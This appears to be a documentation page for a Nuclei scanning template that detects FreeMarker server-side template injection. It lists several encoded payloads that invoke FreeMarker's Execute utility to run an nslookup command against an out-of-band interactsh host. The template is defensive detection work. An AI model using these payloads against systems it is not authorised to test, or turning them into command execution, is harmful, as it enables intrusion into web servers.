Skip to content

Freemarker 2.3.33 - Out of Band Template Injection

ID: freemarker-oob

Severity: high

Author: 0xAwali,DhiyaneshDK,ritikchaddha

Tags: ssti,dast,oast,oob

id: freemarker-oob
info:
name: Freemarker 2.3.33 - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK,ritikchaddha
severity: high
reference:
- https://mvnrepository.com/artifact/org.freemarker/freemarker
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---code-execution
metadata:
verified: true
tags: ssti,dast,oast,oob
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- "%3c%23assign%20rce%3d%22freemarker.template.utility.Execute%22%3fnew()%3e%20%0d%0a%24%7b%20rce(%22nslookup%20-type=SRV%20{{interactsh-url}}%22)%20%7d"
- "%3c%23assign%20rce%3d%22freemarker.template.utility.Execute%22%3fnew()%3e%20%0d%0a%24%7b%20rce(%22nslookup%20-type=SRV%20{{interactsh-url}}%22)%20%7d"
- "[#assign%20ex%20=%20%27freemarker.template.utility.Execute%27?new()]${%20ex(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)}"
- "${%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)}"
- "#{%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)}"
- "[=%22freemarker.template.utility.Execute%22?new()(%22nslookup%20-type%3DSRV%20{{interactsh-url}}%22)]"
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a00473045022100bf5ddb2ad93a12743f4f04d7abf3504933707f1f4c446750c8bd834f89cef8a102207631bfbd20ac97603455277c01135a025f9b58b58ff91bb092d6e85f05513771:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/freemarker-oob.yaml"

View on Github